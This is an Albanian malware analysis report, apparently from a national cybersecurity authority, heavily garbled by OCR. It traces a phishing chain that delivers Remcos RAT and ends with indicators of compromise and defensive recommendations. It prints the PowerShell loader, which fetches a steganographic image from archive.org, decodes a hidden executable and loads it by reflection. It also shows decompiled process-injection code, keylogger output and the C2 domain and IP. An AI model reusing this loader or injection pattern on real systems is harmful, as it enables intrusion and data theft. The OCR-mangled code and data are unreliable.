
Figura 77hxxps[':7/'/']‘paste{.]eé/d/xéMBBdYb]b

Variabli $pondhawks pérmban vlerén e njé imazhi si mé poshté
hxxps[://Jarchive[.Jorg/download/new_image_20250413/new_image[.]jpg nga e cila kuptojmé
se kemi té b&jmé me njé rast steganografie.

Figura 8 new_image.jpg

Variabli $nominally krijon njé objekt té tipit WebClient, mé pas variablit shtohet dhe Headers si
user agent Mozilla/5.0 me géllim gé té shkarkohet foto dhe té ruhet né variablin $reflectoire.

Pér té paré vlerén e fshehur gé ndodhet né foto ndiget me debug né powershell dhe i japim print
vlerés $disleafing



script.ps1 [Read Only] X ‘ &

1 dguicowar = '0/QYq8oM8x/d/ee.e#sap//:sp#ih’
$hypsometrist = $guicowar -replace "#', 't’

3 S$pondhawks = 'https://archive.org/download/new_image 20250413/new_image. jpg’
4  Snominally = New-Object System.Net.webClient

5 $nominally.Headers.Add('User-Agent’, "Mozilla/5.0")

6 Sreflectoire = Snominally.DownloadData($pondhawks)

7 $tooter = [System.Text.Encoding]::UTF8.Getstring($reflectoire)
8 S$thuya = '<<BASEG64_START>>"

9 3$slanting = '<<BASEG4_END>>"
10 Sarthrolycosa = $tooter.IndexOf(3thuya)
11 Snanofossils = Stooter.Index0f($slanting)
12 Sarthrolycosa -ge 0 -and $nanofossils -gt $arthrolycosa
13 S$arthrolycosa += $thuya.lLength
14  $nonconditioned = $nanofossils - $arthrolycosa
15 $disleafing = $tooter.Substring($arthrolycosa, $nonconditioned)
16 S$lepidosperma = [System.Convert]::FromBase64string(3disleafing)

17 cleanups = |System.Reflection.Assembly]: :Load($lepidosperma

18 =

19 $hypsometrist, "', "', T, "MsBuild', ", ', 'Y, T, "C:i\Users\Public\Downloads',
20 'xylosma', 'js', '', 'ketofuranose', "2, "'

21 1))

PS C:\Users\flare- C:\Users\flare\Desktop\script.psl
True

Hit Li point on \User
[DBG]: PS C:\Users\flare>> $thuya
<<BASE64_START>>

[DBG]: PS C:\Users\flare>> $arthrolycosa

993432

[DBG]: PS C:\Users\flare>> $disleafing
TVQQAAMAAAAEAAAA/ / BAAL GAAAAAAAAADAAAAAAAAAAAAAAAL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAL Tugd ATANNTbgB TMOhVGhp cyBwem9ncmF tIGNhbm5vdCBiZSH

[DBG]: PS C:\Users\flare>> |
Figura 9 Payload me ane te steganografise

Kjo vleré dekodohet nga base64 dhe evidentohet se kemi té b&mé me njé skedar té
ekzekutueshém.



Input + O3 =

TVQQAAMAAAAEARAA/ / BAALBAAAARARAAQAAARAAAALAARAAAALAARAAAAAARAAAAAARARARAAAARARAAAAZARAAAA TUEAAEANNIDEB TMBhVGhpCy Bwcm@ncmFtIG
Nhbm3vdCBiZSBydWagakd gRESTIGIVZGUUDQBK JAAAAAAAAABQRQAATAEDAF/ 66MCAAARAAAAAADAATIAL ATAAADEYARAGAAAARAAA 1Y YARASAAAARAAAANAN
EAAZAAAAAZAABAAARALAAAAGAAALAAAARACEGARAAGARALAAALAMAY TUAABAAABAAAAAAEARAEALAAALALNBAARAALAAAAAAALAA L BHGAB LAAAAAGAYAAREAAAAAA
AALAAARAARARANLALAAT AY AAWAAALAAAAALALALAALAAA AR AL LA ARAALAAL AR ALASAAARAALAAA AR AAAAARASLAAAAAAAAT ARACAAAAALAARAARARACCARAEDA
AALAAAAAAAAAACSBZXhBAAAABDCYARAZAAAADBEAAAT AAAAAAARAAAAAAAAAACAAAGALCNNY YWARAAAEAAAAY BEAAAQAAAAGGARAAAAAAAAAAAAANABAAABALD
711bGojAAAMAAAAATAYAAACAAAAPREAAAAAAARAAAAAARARQAAAQEAAAAAAARAAAAAAAARAAAD Y hg AAAAAAE BAAAACARUATKMMAP Yy CWABAAAAAAAAAAADDACY
NWAAAAAAAAAAAAAAAAALAALAAAAALAAALAAALAAAAAAAALAAAAAAAAAAABACewTAAADGHE I 7 AWAACT plVAL gEAAAKAENIAGAACETEFQMAAAOGAAATMAMAYQARAA
EAABEDAQEAABSKKYUCB155KY cGLEOrKIgGAAAKANSCAAAKBN SCAARK bC AAROSMC SWHBEFQTDVKWA TN BKMNMrBh/ PHyMyeC g TAAAKANS DAAAK BnsDAAAK kA
AAOrARYrARCqBiDfwWDyzICIVVaVaKAYAAACCewI AAApVCEAAC] ggKVWVpVooCAAACE ] 7 AWAACMS LAAAKWC OAABMWBWBNAAAAAEAAERQEERAAAC S tKWAGGIOBAA
ABIRYCewIAAAOKEgALCQQAABUMBAAAGYBE ThQrC/AWBAAAG2BMAAAKOIUXANSDAAAKCXIBIXE FAAADJAUAABS tBCYUKWY+FgUAABTVDAAACGIODQAACioeANSQ
AAAKKh4CexEAAAOGHEI7EEAACIqaAlgEAAAKAENIEARACTSJAGROEQAACT SGH+EF7TLXAgVIEEAACIoAABMWAWE /AAAAAWAAEQN1BgAAGWOrQWIGO28AAAAr]E
YSYEAAACTCKAYAAROCeXAAAAOGEXAAAADYBWAAC IXIKAgAAACCeXEAAADGE XEARADYVCQAAC 1K XY f jBOxMrcrDh8 jH7 AwuCsGH3EfrDCAKBMAAACCaXIAAAOG
exTAAApVFAAACISBFisBFyoAEzADAESAAAAARAAATC]vPpUgKVVYVpVooBgAACEI7EAAACMEKAAAKWCAPVVIWIWI g TAAAKAN SRAAAKbrs AAADYTC1VVaVakBMAAA
oCexIAAAPVFQAACIZqABMWBWCPAAAABAAAERQEdhBAACE tKWAGGY BBAAABIRY CexAAAACOKEZALCQQAAB UMBAAAGYBE ThQrC/AWBAAAG2BMAAAK oI UXANSRARAK
CxIBJXEFAAAD]AUAABS tBCYUKwv+FgUAABEVDAARACT1GAT7EgAACEWSAIVXCAAAGIWT AAADLQOMFCSL/hYTAAADbwWAAAQIKABAAADGHE ] 7FEAACioeAnsXAA
AKKhACexgAAAogHE 17GOAACI0eANS aAAAKKGADMATAS gAAAAAARAACKAQAAAOCAI BWAAAKK XWCBHEXAAAKK XS CBXOYAAAKKX0CDgRIGQAACT sHEAT 1z LeKnaf
ihoNMt8rBho rH58wAATOBX@aAAAKK BAAEZADAMMAAAAFARARASUIAAABC ThBAAAAAZY 7 rgAAADh TAAAAB Mg AAAAOHS AAAAOBEAACEI 7F GAACEZ7FgAACMBHARA
AKOYAAAAMOCAAACE I7 FWAACEZ 7 FWAACMBIAAAKL GEOEWAACE 1 7GAAACSZ 7TGAAACMBUAAAK L FACGWAACE 17GQAACEZ 7GQAACMBCAAAKLDErHh9IHAUS:/ // fysT

HuTFTNAR/ / / [KworHAF {7/ fvodAAAK AncabAAKRN S aARAKhyAAAAARARY PAR A AARMWAWRSAAAAAARAAC CImI A TC TV AVAK AYAAAAC v VALA W oAAC 1 ook
mac 2112002 = 1 Tr Raw Bytes &= LF

Output A B0 m::

|Nz-~J_rm_~J_u_mJ_u_u_j;vymm‘WLNmmmm.@u_~J_u_u_~J_u_u_~J_u_u_~J_u_i_~J_u_u_~J_u_u_~J_u_u_~J_u_u_~J_u_u_u_u_u_u_u_u_u_-umwm us@somn” !

.=ulLI!This program cannot be run in DOS mode. ca cr 1 $rucvuesuisuvuisudor PE suosu Lsonersnue_GEEnusuinuisuiuuiuiveiw B vr sonBhvus v Beannuiauiscxmuiauii

wuLwuswue PVGNNULNL UL RULKULKULULKULKUL VUL NULDLENUL  NULNULNULS TXNULNULEQT NULNULNULNULNULNULNULACKNUL NULNULNUL NULNULNULNUL - CANNULNULSTRNULNULNULKULNULNULETANUL . ® NULYULDLENULNULDLENULNUL NULKULOLE
NULWULDLENULWUL UL KULKUL SUL DLERUL SUL KULKUL SUL KULSUL UL NUL UL UL © Wieanmut K NULKUL MU VUL CANNULSULEDTSUL SULSUL UL SULSUL NUL SULSULNUL SULSULNUL SULSUL NUL SULSULNUL ® CANNUL

UL UL NUL UL FUL KL UL UL UL UL SUL SULSUL UL NUL UL RUL KL UL UL UL UL SUL SULSUL UL NUL UL RUL KU UL FUL UL SUL SULSULSUL NULNUL SULKULKUL FUL RULSULNUL BULSULRUL UL SULNUL 25 MULNULNULNULNULNULNULNULNULNULAUL
B5 wuusuHuuLsuLvuLnULs LY UL NULN ULV UL NULNL » E@XE NULNULKULET 7 CANNULNUL - NULNULNUL B CANNUL UL TX NUL UL UL SULNULKUL UL KULKUL FULNULSULSULNUL  SULSUL + IS CHULNULWULNULEOTHULWULNUL . CARNULNULEOTNUL
wuLwue | cansuusuLsuLsuLsucsuLsuosusussuesucsussu @@ . re Lo

WULNUL VUL SUL ® CASYULNUL STXNULSULNUL > CANNULAULNGLNULABL UL YLV sL koL vuL s @ s B vucsut ot sucvoLsursut o sucseso su s s oo 3V ey o wouei i smoacesaso £

sl 2 4T UL SOHNUL UL NULNUL UL NULNULSULETX

NUL® AL ML AL AL A LABL YL LN L AL ML AL AL LABL YL LALLM UL AL LAL YL NG ABL UL AUL AL NBLABL YL NN ABL ML L 55 57 somsue e ns smed eresuen L ¥Vsms { eomsusae e smeer }

*

sTxwuLRUL LR STXEOT fEmosuisuL b *auisuoci@enou@ s sonsususocierxUsonnuisuiese Le + 5ok . R4 " soc, 4% (acowwnu e stef smomosue e sce smowisus e Ossnnu e, B4svus Hus ABO+

0057 us 580+aceus T us#20 ( a5 wuown v smef emsoisos e aoe] emowinos 17 0 wnnod e sosmcksoners *0 BA<® JUUEZ (sconoonon cr sme{ smowvowe 1r 0 e oo e X JUUYZ ( a5 wosur e
sx{ emsusu LF O vTsunsue Lr X *nuuwioc:@eeL LB uuLsuLsuLsmasusuiocincs € rs s - +wiLackean = somsussuLsonsbsvusTef sTenuiwiL Le LF ocznu %G EoTsuLsuLEse® pTauLvLesc - sorlincs+vT PsveaTauL
suLescO

wuwue Lr f Beresmef emovuiue Lr vroczsoefenasuLueesc © exosuLsuesc - eorBinea+ vr PsveesouLvuesco

Lo ¥ * s srx{ ocanvenoe e ¥ ms srxf pezsuisun e ® @ smx (eorsuisun e sTxerx Jorsnuvui e+ smxeor ocunuisun e +acx us 3 us T2 fismxena ) *nunuoc:@

ETXNUL® SULNULSULETXNULSULDE1ET UscanuinuLese Le +HCsmiack 3 Mvuuwnuc+BackObwussusuc+ B (scxnuonu Le ste oo e ace{ oenuwsn e Ozerwuonun e , H es wonsoe e smef pcvsusue e sex cusuusue

FigUra 10 MZ Skedar i ekzekutueshém

E shkarkojmé kété skedar dhe nisim analizén e tij.

File name

1.52 MiB

Mode Architecture

Automatic 32-bit 1386

~ PE3:

Compiler: VB.NET(
Linker: Microsoft Linker(48.0)[DLL32]

Options

gnatur v Recur an v Deep tic sca About

Directory 100% r Log [ ] all types

Figura 11 Skedar né .NET




Nése nisim fazén e reverse engineering té kétij skedari evidentohet se skedari ka njé emér
TaskScheduler. Ky skedar ka importuar njé numér té lart t¢ funksioneve t&¢ Win32API si
VirtualAlloc,VirtualProtect, WriteProcessMemory_API etj e cila na jep njé ide se tentohet té
injektohet ndonjé payload né ndonjé process legjitim.

@( QBXtX, startupreg, caminhovbs, namevbs, netframework,

if (vmName == ( 237.smethod_8(12359))

if (VirtualMachineDetector.Assert( text))
{
Environment.Exit(8);

List();
ss management! ManagementC 5 .smethod_0(12379));
gementBaseObject managementBaseObjec ntClass.GetInstances())

mentObject managementObjec (ManagementObject)managementBaseObject;
ImanagementObject[Cla

arraylList.Add(managementObject[Clz 7.smethod_0(12u486)].ToString());
}
I
foreach ( obj in arraylist)
{
if (obj.ToString() == 237.smethod_0(12499))

Environment .Exit(@);

}
}

num;
if ( .IsNullOrWhiteSpace(minutos))

Figura 12 Funksioni VAI

Nése rikthehemi te funksioni i powershell do evidentojmé:
[System.Reflection.Assembly]::Load($lepidosperma) e cila pérdor powershell reflection pér
té ngarkuar skedar té ekzekutueshém apo dll me géllim ekzekutimin e funksioneve té tyre.

Me pas thérritet Funksioni VAI dhe i kalojné disa parametra :

—3mailers = [dnlib.I0.Home].GetMethod( VAL ).Invoke(3null, [object[]] @(

$hypsometrist, "', ., 7, MsBuild’, . . , 'C:\Users‘\Public\Downloads",

"xylosma', 'js', , 'ketofuranose’, '2',

B

)
Figure 1 Funksioni VAI

Funksioni VAI éshté funksioni i cili né total merr 17 parametra. Parametrat mé té réndésishém
jané payload i tipit text té cilin e kemi shfaqur mé larté né figureén nr 7 dhe vargu i karaktereve
MSBuild.

Skedari i ekstraktuar nuk mund té thérritet thjesht duke e klikuar por na duhet gé ta thérrasim nga
njé skedar tjeter i ekzekutueshém té cilin e krijojmé me géllim thérritjen e funksionit VAL



dnlib.TI0

Home

( QBXtX, startupreg, caminhovbs, namevbs, netframework, nativo, nome!
persitencia, url, caminha, nomedoarquivo, string_@, minutos, startuptask, taskname,

startup_onstart)

8§ (vmName -= Class237.smethod_6(12359))

QBXtX
startupreg
caminhovbs
© namevbs
© netframework
© nativo
© nomenativo
> persitencia
@ url
© caminho
> nomedoarquivo

Figura 13 Thérritja e funksionit VAI

Ky payload kalon né disa funksione, transformohet dhe injektohet né njéproces legjitim me emrin
MSBUILD. Pra skedari nis procesin legjitim MSBuild dhe injekton dicka né memorien e kétij
procesi,prandaj pér té paré se cfare ndodh e ndjekim me debug.

Vendoset breakpoint né klasén Tools né Api.WriteProcessMemory dhe evidentojmé njé varg me
byte té cilin nése e shfagim na jep si vlera hex né fillim 0x4D dhe Ox5A. Pra kemi té béjmé me njé
skedar té ekzekutueshém qé injektohet né memorien e procesit legjitim Msbuild.

(!API.WriteProcessMemory|process INFORMATION.ProcessHandle, num8, byte_©, num7, ref numS))

(byte_@, num + 6);
numll )(num1@ - 1);
( i i <= numll; i++)

nu - (byte_@, num9
nu - (byte_@, num9
nu . (byte_©, num9
(num13 != @)

Figura 14 Injektimi i njé skedari té ekzekutueshém né MSbuild

Kété skedar pasi e ruajmé né Desktop dhe i ndryshojm prapashtesén .exe do marri logon e skedarit
remcos rat.



File name

C:\U \flare\Desktop\remcos_rat.exe

File type File size |:| Advanced
469,50 KiB

Scan Endianness Mode Architecture e

Automatic LE 32-bit 1386 remcos. rat.ex

v PE32 e

Compiler: EP:Microsoft Visual C/C++(2013-2017)[EXE32]
Compiler: Microsoft Visual C/C++(2015 v.14.0)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.0%)[GUI32]

Figura 15 Remcos Rat.exe

= sV vaneAT ceou e [EETPTTE = [ET ST A oue e oo

Close Wait 192

v

}
pwVarl5 = L"\\install.vbs";

[

pwVard = (wchar t *)FUN_00435%=5f(L"Temp") ;

w

pvVar4 = FUN_0040415e (auStack_al8,pwVar5);
FUN_00402ff4(local_ 5S0,pvVar4,pwVarl3);
FUN 0040lee5{auStack_aB);

T i

FUN_0040415e (austack_c0,L"WScript.Sleep 1000\n");
thunk FUN_ 00403202 (auStack_c0,L"Sest fso = IUreateObj ect (\"Scripting.FileSystemCbject\")\n");
if (param 5 == "\=x01") {

s

pwvarlé = L"\n";

—

PwVarls = L"\"";

pvVar4 = FUN_0040415e(auStack 18, (wchar t *)&DAT 004&fb08);

LI

pwVar5 = L"\"";

pvVar® = FUN_0040415e(auStack 20,L"fso.DeleteFile ");

i

3 nrVard = FIIN OD402FF4(auStack 4R rnvVar9. rwVar5) s

Figura 17 CreateObject dhe script VBS

Gjithashtu evidentohet krijimi i njé skedari logs.dat né path C:\ProgramData\remcos\logs.dat e
cila ruan té gjitha tastet e tastieres (Keylogger).

Q‘f’ *C\ProgramData\remcos\logs.dat - Notepad++

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window 7

sHHBERES s WDl #yg22FE ST EFERRE (@M EDEEE -
=] 1ogs.dat E:I|

é |?2025/‘04/‘23 15:28:25 0ffline Keylogger Started]

2

; [Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IKSROCINflare] (Administrator)]
; [Program Manager]

E [Selected Tab]

[*]

Figura 18 Keylogger

Gjaté ndjekjes me debug té remcos rat do evidentojmé lidhjen me domainin
funky333[.]Jduckdns[.]Jorg né portén 31832



wice Lo suu =
8p47 24

8BCC mov ecx,esp

Tea ea::a;ford ptr ds:[edi+34]

eax:&"funky333.duckdns.org:31832", [edi+34]:"funky333.duckdns.org:31832"

BA 382F4600 mov edx,remcos_rat.462F38 edx:"TLS Handshake. .. ", 462F38:"TLS Handshake. ..
50 push eax eax:&"funky333. duckdns. org:31832"
ES OFDADOOOD call remcos_rat.4052FE
83EC 14 sub esp,14
8BCC mov ecx,esp
Figura 19 Domaini i duckdns dhe porta
MITRE ATT&CK MITRE ATT&CK Pérshkrimi

Taktika
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Initial Access

Initial Access

Phishing: Malicious File
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.jpg) gé pérmban
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Execution

Execution

Command and Scripting
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Execution
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Process Injection
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Defense Evasion

Defense Evasion

Process Hollowing
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maskuar.

Command and Control

Command and Control

Ingress Tool Transfer
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Command and Control
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Non-Application Layer
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Komunikimi me
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Indikatorét e Komprometimit

B3E3378BBB469B63B91D7A6728DCD277E68954F01739D3A9CODE2EF21
3A8641D

remcosrat.exe

609AE660CAD82A9D0C4926844E2AED2293363336CA91EEOF4F05F6564
C08025A

Porosi Blerje A-----------
----- 00374 pdf.js

ODF13FD42FB4A4374981474EA87895A3830EDDCC7F3BD494E76ACD60
4C4004F7

Microsoft. Win32.TaskS
cheduler

375E7EA8926B23D081465D02E9A195B8142A12F525A8EE9CES90CIFAL
73AFCD7

Porosi Blerje A-----------
----- 00374 pdf.Izh

238D6EF69FFIA719F15FDEES309CF/ACCI12E0593BD7E65274ED8F2F2
AGE924B9
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176[.]65[.]1142[.]39 C2




Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, té pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies sé infektimit
prej tyre.

Instalimin e pajisjeve té perimetrit té rrjetit qé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-¢ té€ ndryshme, duke aplikuar “Access
control list pér t& gjithé perimetrin e rrjetit”, webserviset duhet t€ jené t€ ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t&€ Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé té
treta/klientg).

Té implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

Té€ kryhen analiza té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

Té projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér té€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.



